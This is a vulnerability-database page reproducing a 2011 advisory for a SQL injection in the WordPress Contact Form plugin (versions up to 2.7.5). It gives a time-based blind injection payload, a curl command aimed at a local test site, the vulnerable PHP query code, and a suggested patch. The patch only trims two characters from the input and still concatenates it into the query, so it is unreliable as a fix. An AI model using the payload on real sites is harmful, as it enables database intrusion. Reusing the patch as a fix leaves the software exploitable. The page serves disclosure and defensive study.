Lucene search
K

WordPress Contact Form plugin <= 2.7.5 - SQL Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

WordPress Contact Form plugin SQL Injection vulnerability version 2.7.

Code

                                                # Exploit Title: WordPress Contact Form plugin &#60;= 2.7.5 SQL Injection Vulnerability
# Date: 2011-10-13
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Software Link: http://downloads.wordpress.org/plugin/contact-form-wordpress.zip
# Version: 2.7.5 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/contact-form-wordpress/easy-form.class.php 
wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2&#62;1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)
 
e.g.
curl --data &#34;wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2&#62;1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&#34; -H &#34;X-Requested-With:XMLHttpRequest&#34; http://127.0.0.1/wordpress/?p=1
 
---------------
Vulnerable code
---------------
Line 49:
    public function the_content($content) {
        global $wpdb;
        global $table_name;
        global $settings_table_name;

        $private_key = &#39;6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy&#39;;

        if ($_POST[&#39;wpcf_easyform_submitted&#39;] == 1) {

            $form = $wpdb-&#62;get_results(&#34;SELECT * FROM $table_name WHERE ID = &#34;.$_POST[&#39;wpcf_easyform_formid&#39;]);

---------------
Patch
---------------

*** ./easy-form.class.php.orig	2011-10-13 19:53:05.674800956 -0400
--- ./easy-form.class.php	2011-10-13 19:51:21.442799615 -0400
***************
*** 54,61 ****
          $private_key = &#39;6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy&#39;;
          
          if ($_POST[&#39;wpcf_easyform_submitted&#39;] == 1) {
!         
!             $form = $wpdb-&#62;get_results(&#34;SELECT * FROM $table_name WHERE ID = &#34;.$_POST[&#39;wpcf_easyform_formid&#39;]);
              
              $continue = true;
              
--- 54,63 ----
          $private_key = &#39;6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy&#39;;
          
          if ($_POST[&#39;wpcf_easyform_submitted&#39;] == 1) {
!        	    $wpcf_easyform_formid=$_POST[&#39;wpcf_easyform_formid&#39;];
!             $wpcf_easyform_formid=substr($wpcf_easyform_formid,2); 
!             
! 	$form = $wpdb-&#62;get_results(&#34;SELECT * FROM $table_name WHERE ID = &#34;.$wpcf_easyform_formid);
              
              $continue = true;
              
***************
*** 71,80 ****
              if ($continue) {
              
                  //loop through the fields of this form (read from DB) and build the message here
!                 $form_fields = $wpdb-&#62;get_results(&#34;
          			SELECT *
          			FROM $settings_table_name
!         			WHERE form_id = &#34;.$_POST[&#39;wpcf_easyform_formid&#39;].&#34;
          			ORDER BY position
          		&#34;);
          		
--- 73,82 ----
              if ($continue) {
              
                  //loop through the fields of this form (read from DB) and build the message here
! 		$form_fields = $wpdb-&#62;get_results(&#34;
          			SELECT *
          			FROM $settings_table_name
!         			WHERE form_id = &#34;.$wpcf_easyform_formid.&#34;
          			ORDER BY position
          		&#34;);
          		



                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation